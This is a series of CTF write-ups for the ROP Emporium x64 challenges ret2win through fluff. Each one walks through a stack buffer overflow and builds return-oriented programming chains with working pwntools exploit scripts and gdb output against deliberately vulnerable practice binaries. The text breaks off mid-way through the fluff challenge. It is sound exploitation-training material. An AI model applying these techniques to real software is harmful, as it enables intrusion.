Introduction
This book is all about Write-ups in ROP Emporium x64 challenges.
Brief introduction about ROP and ROP Emporium
What is ROP
ROP or Return Oriented Programming is a technique that is used when we have
the control over the return address of a function to redirect and craft our own program using instructions
that is presented in the binary or the library that is imported to the binary. these instructions
are called Gadgets
and when chained together they're called ROP chain
.
What is ROP Emporium
ROP Emporium is a website that provides a series of challenges that teachs us ROP techniques in exploitation.
1. ret2win
the first challenge of ROP Emporium serie.
this challenge wants us to locate a method that will lead us to get
the flag.
so let's started off by looking at functions in gdb
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
we can see that there are multiple functions such as pwnme
and ret2win
, let's see pwnme first.
gef➤ disas pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
there's a memory allocation of 0x20
bytes. and there's a read that uses the buffer
of 0x20
allocated earlier so there's clearly a buffer overflow going on.
with this knowledge let's try to input 0x20
+ 0x8
bytes and then the address of the function
we want to call, and let's call ret2win function.
but first let's look at the content of ret2win
function.
gef➤ disas ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
we can see that there's a call to system but what's the argument exactly?
gef➤ x/s 0x400943
0x400943: "/bin/cat flag.txt"
ah!, so the function is used to cat the flag out so let's craft our payload and call it now!
from pwn import *
p = process("./ret2win")
p.sendline(b"A"*40 + p64(0x400757))
print(p.recvall().decode("utf-8"))
and here's the result.
┌──(kali㉿kali)-[~/ctf/rop/ret2win]
└─$ python solve.py
[+] Starting local process './ret2win': pid 2756
[+] Receiving all data: Done (329B)
[*] Process './ret2win' stopped with exit code 0 (pid 2756)
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
here we go there's the flag!
2. split
the second challenge, now the element of the first challenge is still present
in this challenge but the string "/bin/cat flag.txt"
is not in the same function
as the first challenge, we have to somehow find the string and put it in the register and
call the system function.
in this challenge the binary is NX enabled so we can't just execute the stack.
now we really need to use ROP to solve the challenge, we can check the binary permissions using
rabin2
or checksec
, I'll use rabin2
here.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -I split
arch x86
baddr 0x400000
binsz 6805
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
now, let's investigate the binary using gdb
.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
interesting, what's inside the usefulFunction
..?
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
oh, so it's pretty similar to the ret2win
function from the previous challenge
what's the string being put in the register let's see...
gef➤ x/s 0x40084a
0x40084a: "/bin/ls"
ah, so it's just a function to call ls using the system, I'm sure this function is present for the binary to present system inside the binary.
now, let's find some useful strings in the binary using rabin2
.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -z split
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium
1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n
2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting
3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you!
5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls
0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt
rabin2 is pretty cool that it also tell us the string address.
okay, let's find ROP gadgets to craft our ROP chain, I'll be using ROPgadget
to do that.
but first let's see what do we need to craft our ROP chain.
first we need to set rdi
register to the address of the string we want to use.
then we need to call the system function. easy enough let's find it.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ ROPgadget --binary split | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
we got both the system function address and our gadget now let's craft our ROP chain.
from pwn import *
p = process("./split")
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
here we go...
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3485
[+] Receiving all data: Done (87B)
[*] Stopped process './split' (pid 3485)
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
huh? what happened why don't we get our flag let's investigate some more by attaching gdb to the process.
let's edit our script a bit.
from pwn import *
p = process("./split")
script = """
break *0x400560
"""
gdb.attach(p, gdbscript=script)
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
now let's debug!
0x400550 <puts@plt+0> jmp QWORD PTR [rip+0x200ac2] # 0x601018 <puts@got.plt>
0x400556 <puts@plt+6> push 0x0
0x40055b <puts@plt+11> jmp 0x400540
●→ 0x400560 <system@plt+0> jmp QWORD PTR [rip+0x200aba] # 0x601020 <system@got.plt>
0x400566 <system@plt+6> push 0x1
0x40056b <system@plt+11> jmp 0x400540
0x400570 <printf@plt+0> jmp QWORD PTR [rip+0x200ab2] # 0x601028 <printf@got.plt>
0x400576 <printf@plt+6> push 0x2
0x40057b <printf@plt+11> jmp 0x400540
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400560 in system@plt (), reason: BREAKPOINT
breakpoint hit let's step into it.
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f05949535f4 <do_system+324> mov QWORD PTR [rsp+0x60], r12
0x7f05949535f9 <do_system+329> mov r9, QWORD PTR [rax]
0x7f05949535fc <do_system+332> lea rsi, [rip+0x149a4c] # 0x7f0594a9d04f
→ 0x7f0594953603 <do_system+339> movaps XMMWORD PTR [rsp+0x50], xmm0
0x7f0594953608 <do_system+344> mov QWORD PTR [rsp+0x68], 0x0
0x7f0594953611 <do_system+353> call 0x7f05949fd230 <__GI___posix_spawn>
0x7f0594953616 <do_system+358> mov rdi, rbx
0x7f0594953619 <do_system+361> mov r12d, eax
0x7f059495361c <do_system+364> call 0x7f05949fd130 <__posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x7f0594953603 in do_system (), reason: SIGSEGV
why did we get SIGSEGV here, interesting...
after some reasearching i found this:
The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
so basically our rsp
is not 16-byte aligned before calling do_system, we can check that by listing our registers.
gef➤ info registers
rax 0x7f0594ae2320 0x7f0594ae2320
rbx 0x7ffdb45c3948 0x7ffdb45c3948
rcx 0x7ffdb45c3948 0x7ffdb45c3948
rdx 0x0 0x0
rsi 0x7f0594a9d04f 0x7f0594a9d04f
rdi 0x7ffdb45c3744 0x7ffdb45c3744
rbp 0x7ffdb45c37a8 0x7ffdb45c37a8
rsp 0x7ffdb45c3738 0x7ffdb45c3738
r8 0x7ffdb45c3788 0x7ffdb45c3788
r9 0x7ffdb45c3be8 0x7ffdb45c3be8
r10 0x8 0x8
see? our rsp
ends with 0x8
which means our stack is not 16-byte aligned.
so we need to make our rsp
16-byte aligned. let's find extra ret
to do that.
0x000000000040053e : ret
cool!, now let's pad our ROP to make our rsp
16-byte aligned.
from pwn import *
p = process("./split")
script = """
break *0x400560
"""
gdb.attach(p, gdbscript=script)
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
ret = 0x40053e
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(ret) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
this should work now let's try it!.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3742
[*] running in new terminal: ['/usr/bin/gdb', '-q', './split', '3742', '-x', '/tmp/pwnobnrixxs.gdb'] [+] Waiting for debugger: Done
[+] Receiving all data: Done (120B)
[*] Stopped process './split' (pid 3742)
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
let's go! we got the flag!!!
3. callme
the third challenge, this challenge wants us to make consecutive function
calls from plt
.
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
so let's begin finding the function address and gadgets we want to use.
using rabin2
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ rabin2 -i callme
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC puts
2 0x004006e0 GLOBAL FUNC printf
3 0x004006f0 GLOBAL FUNC callme_three
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 0x00000000 GLOBAL FUNC __libc_start_main
7 0x00400720 GLOBAL FUNC callme_one
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x00400730 GLOBAL FUNC setvbuf
10 0x00400740 GLOBAL FUNC callme_two
11 0x00400750 GLOBAL FUNC exit
now, since we are in x64
challenge we have to know the calling convention so we can supply the correct arguments.
we have to set rdi, rsi, rdx
in order to call a function with 3 parameters. let's find the gadgets for this.
also don't forget to look into the usefulGadgets
and usefulFunction
in the binary.
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
gef➤ disas usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
let's use ROPgadget
to find the gadgets we needed.
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ ROPgadget --binary callme | grep rdi
0x0000000000400a3d : add byte ptr [rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3f : add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x0000000000400a3c : add byte ptr fs:[rax], al ; add byte ptr [rbp + rdi*8 - 1], ch ; call qword ptr [rax + 0x23000000]
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
thanks to the usefulGadgets
function.
now, since we already know what are the parameters needed to be supply let's craft the payload.
from pwn import *
p = process("./callme")
padding = b"X"*40
call_one = 0x400720
call_two = 0x400740
call_three = 0x4006f0
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
pop_rdi_rsi_rdx = 0x40093c
set_reg = p64(pop_rdi_rsi_rdx) + p64(arg_1) + p64(arg_2) + p64(arg_3)
payload = padding + set_reg + p64(call_one) + set_reg + p64(call_two) + set_reg + p64(call_three)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
let's run it.
┌──(kali㉿kali)-[~/ctf/rop/callme]
└─$ python solve.py
[+] Starting local process './callme': pid 1230
[*] Switching to interactive mode
callme by ROP Emporium
[*] Process './callme' stopped with exit code 0 (pid 1230)
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
nice.
4. write4
the forth challenge, this challenge is a little bit different from the others previously.
in this challenge, the binary provided a function to print_file
for us, but there's
no "flag.txt"
string in the binary, so we somehow have to write "flag.txt"
into the binary ourselve.
so how do we write into the memory? there's an instruction that we can use such as mov [reg], reg
that allow us to write a value into the memory.
so where do we write the string into? let's check the binary for sections we can write into and section that when we write into will not cause us any problems if we need some kind of stability in our exploit.
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ rabin2 -S write4
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
---
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss ---
so here are sections that we can write into, its size and address. i will choose to write into .data
here since it
doesn't interfere with anything in the binary (maybe???).
let's find gadgets for this exploit. let's look into what's inside the usefulFunction
and usefulGadgets
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulFunction -S write4
---
0000000000400617 <usefulFunction>:
400617: 55 push rbp
400618: 48 89 e5 mov rbp,rsp
40061b: bf b4 06 40 00 mov edi,0x4006b4
400620: e8 eb fe ff ff call 400510 <print_file@plt>
400625: 90 nop
400626: 5d pop rbp
400627: c3 ret
---
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulGadgets -S write4
---
0000000000400628 <usefulGadgets>:
400628: 4d 89 3e mov QWORD PTR [r14],r15
40062b: c3 ret
40062c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
---
we can see there's and instruction to write r15
in the address of r14
let's find gadgets to get this done.
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ ROPgadget --binary write4 | grep r14
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop r14 ; pop r15 ; ret
and mov qword ptr [r14], r15 ; ret
nice.
let's chain them together now!
from pwn import *
padding = b"x"*40
pop_r14_r15 = 0x400690
mov_r14_r15 = 0x400628
print_file = 0x400510
pop_rdi = 0x400693
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./write4")
payload = padding + p64(pop_r14_r15) + p64(data_sec) + file_to_print + p64(mov_r14_r15) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
result:
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ python solve.py
[+] Starting local process './write4': pid 2004
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
nicesu nicesu!!
5. badchars
the fifth challenge, it is pretty similar to the previous challenge write4
but this time, the input
is processed and turned some byte into a bad character.
the challenge showed us the bad characters which are 'x', 'g', 'a', '.'
.
with this knowledege let's find the gadgets and see what we can do using ROPgadget
.
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret
these are some gadgets that i find useful for us to use create this ROP chain.
now let's find where do we write to.
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ rabin2 -S badchars
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss
.data
seems okay so let's use that.
let's make the script.
from pwn import *
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(0xaaaaaaaa) + p64(0xaaaaaaaa) + p64(mov_r13_r12)
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
let's try it and see what will happen to our flag.txt
string...
gef➤ x/s 0x601028
0x601028: "fl\353\353\353t\353t"
gef➤ x/2xg 0x601028
0x601028: 0x74eb74ebebeb6c66 0x0000000000000000
so this happened to our string, the character that are in the list of bad chars get replaced by 0xeb
.
our ROP chain doesn't seem to be broken so lucky for us, now that we have this info what can we do?
since some of the string are still intact we can just use some gadgets to replace the bad bytes, let's find them.
oh wait i forgot to look into the usefulGadgets
function so let's do that first.
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ objdump -M intel --disassemble=usefulGadgets -S badchars
badchars: file format elf64-x86-64
0000000000400628 <usefulGadgets>:
400628: 45 30 37 xor BYTE PTR [r15],r14b
40062b: c3 ret
40062c: 45 00 37 add BYTE PTR [r15],r14b
40062f: c3 ret
400630: 45 28 37 sub BYTE PTR [r15],r14b
400633: c3 ret
400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
400638: c3 ret
400639: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
i see, so we have xor, add and sub instructions for us to use byte by byte. i decided to use xor here.
let's craft our new payload to fix the bad chars in memory.
from pwn import *
def findXor(x, badbyte = 0xeb):
for i in range(255):
if i ^ badbyte == x:
return i
return 0
badbyte = 0xeb
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
this should work...
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 965
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '965', '-x', '/tmp/pwnms4tsxy0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
Failed to open file: flag.t\xebt
$ [*] Got EOF while reading in interactive
hold on why is that? why is the character x
doesn't get fixed? maybe our rop chain is broken so let's see.
fixBadbyte("x", data_sec + 6)
is where we fix the bad char for x
since we know that addresses also get
affected by the bad chars filter, so something goes wrong here, maybe the address??
we know our .data
section is 0x601028
since we +6
the address is 0x601028 + 6 = 0x60102e
and it includes
one of the bad bytes which is 0x2e
. so what can we do here...
how about we shift the address of .data
by one so that our ROP chain doesn't use 0x60102e
any more
but instead we use 0x60102f
, sounds great! let's do just that.
from pwn import *
def findXor(x, badbyte = 0xeb):
for i in range(255):
if i ^ badbyte == x:
return i
return 0
badbyte = 0xeb
padding = b"x"*40
print_file = 0x400510
pop_r1 = 0x40069c
mov_r13_r12 = 0x400634
pop_rdi = 0x4006a3
pop_r14_r15 = 0x4006a0
xor_r15_r14 = 0x400628
sub_r15_r14 = 0x400630
data_sec = 0x601029
file_to_print = b"flag.txt"
p = process("./badchars")
gdb.attach(p, "break print_file")
fixBadbyte = lambda char, addr : p64(pop_r14_r15) + p64(findXor(ord(char))) + p64(addr) + p64(xor_r15_r14)
payload = padding + p64(pop_r1) + file_to_print + p64(data_sec) + p64(findXor(ord("a")))
payload += p64(data_sec + 2) + p64(mov_r13_r12) + p64(xor_r15_r14) + fixBadbyte("g", data_sec + 3)
payload += fixBadbyte(".", data_sec + 4) + fixBadbyte("x", data_sec + 6) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
let's run it
┌──(kali㉿kali)-[~/ctf/rop/badchars]
└─$ python solve.py
[+] Starting local process './badchars': pid 1008
[*] running in new terminal: ['/usr/bin/gdb', '-q', './badchars', '1008', '-x', '/tmp/pwn6i7nie6c.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
nicesu!!!
6. fluff
the sixth challenge, the most difficult challenge by far and it took me roughly 2 days to complete.
this challenge is similar to write4
but now, we need to use
more uncommon instructions to write the string into memory, the function
print_file
is still present in the binary.
the binary doesn't contain the usual instructions such as mov [reg], reg
for
us to use to write into memory, so let's inspect into the binary and see what
we can do.
gef➤ i func
All defined functions:
Non-debugging symbols:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 questionableGadgets
0x0000000000400640 __libc_csu_init
0x00000000004006b0 __libc_csu_fini
0x00000000004006b4 _fini
what is questionableGadgets
??
gef➤ disas questionableGadgets
Dump of assembler code for function questionableGadgets:
0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]
0x0000000000400629 <+1>: ret
0x000000000040062a <+2>: pop rdx
0x000000000040062b <+3>: pop rcx
0x000000000040062c <+4>: add rcx,0x3ef2
0x0000000000400633 <+11>: bextr rbx,rcx,rdx
0x0000000000400638 <+16>: ret
0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al
0x000000000040063a <+18>: ret
0x000000000040063b <+19>: nop DWORD PTR [rax+rax*1+0x0]
End of assembler dump.
what is xlat
??? and what is bextr
and stos
?? that's the question i got
from reading what's inside the function, let's read the documentation for them.
what is xlat?
xlat or Table Look-up Translation is an instruction that uses [rbx]
for an
address to memory and al
for an index and then set the value into al
register
essentially it's like an array we will find in a typical programming language.
for example, we have rbx
point to 0x400000
and al
as a value of 0x4
,
if we have a string in memory at 0x400000
that is "Hello, Ropper"
we will
get "o"
or 0x6f
set to al
register after the instruction is completed.
what is bextr?
bextr or Bit Field Extract is an instruction that extracts a bits from a source register (second operand) and put it into a destination register where length and offset is set on the third operand where bit 7:0 is the offset and bit 15:8 is the length.
an example from stackoverflow
Say the starting bit is 5 and the length is 9. we have
Input : 11010010001110101010110011011010 = 0xd23aacda
|-------|
\
\
\
v
|-------|
Output: 00000000000000000000000101100110 = 0x00000166
what is stos?
stos or Store String is an instruction that stores al
register into the address
of [rdi]
. this instruction is pretty straightforward and self-explainatory.
so, we have an instruction to get a string to a memory from [rbx]
to al
,
we have an instruction to get value of rcx
into rbx
and an instruction to
store al
into [rdi]
.
we can see where this is going. we can write al
into specific memory address
with [rdi]
, we can set al
to something with [rbx + al]
and lastly, we can
control rbx
with bextr
, all good right? well not quite...
how do we know where to point rbx
to get a string we want???
i stuck here for a while and i came up with an idea, how about we select the string from the printed strings that.
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ./fluff
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
>
as you can see here we have all the characters we wanted for the string flag.txt
can we just point rbx
to that right? well, as simple as it might sound it's actually
impossible for me to do since the binary has patially RELRO, and those strings
live inside an imported library, ahhhhhhhhhh...
but wait, we can just leak the library address right since we can do pretty much all we want, well, the binary doesn't import any other things except the library that is provided by the challenge.
so we can't leak the address of the library to point it to the printed strings in the beginning.
i stuck here for the rest of the day.
day 2, my co-worker (shout out to him), told me that since we can point to anywhere we want just point it to the address in the binary itself, since random addresses can contain a byte that represent a character that we wanted, and THAT IS BRILLIANT.
so i tried searching with ropper
and there it is!
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ ropper --string "f|l|a|g|.|t|x" -f fluff | awk '{ print $2, $1 }' | sort
=======
. 0x0040024e
. 0x00400251
. 0x004003c9
. 0x004003fd
. 0x00400400
. 0x00400434
. 0x00400436
. 0x00400439
----- -------
a 0x004003d6
a 0x0040040c
a 0x00400411
a 0x00400418
a 0x0040041a
a 0x00400424
f 0x004003c4
f 0x004003c7
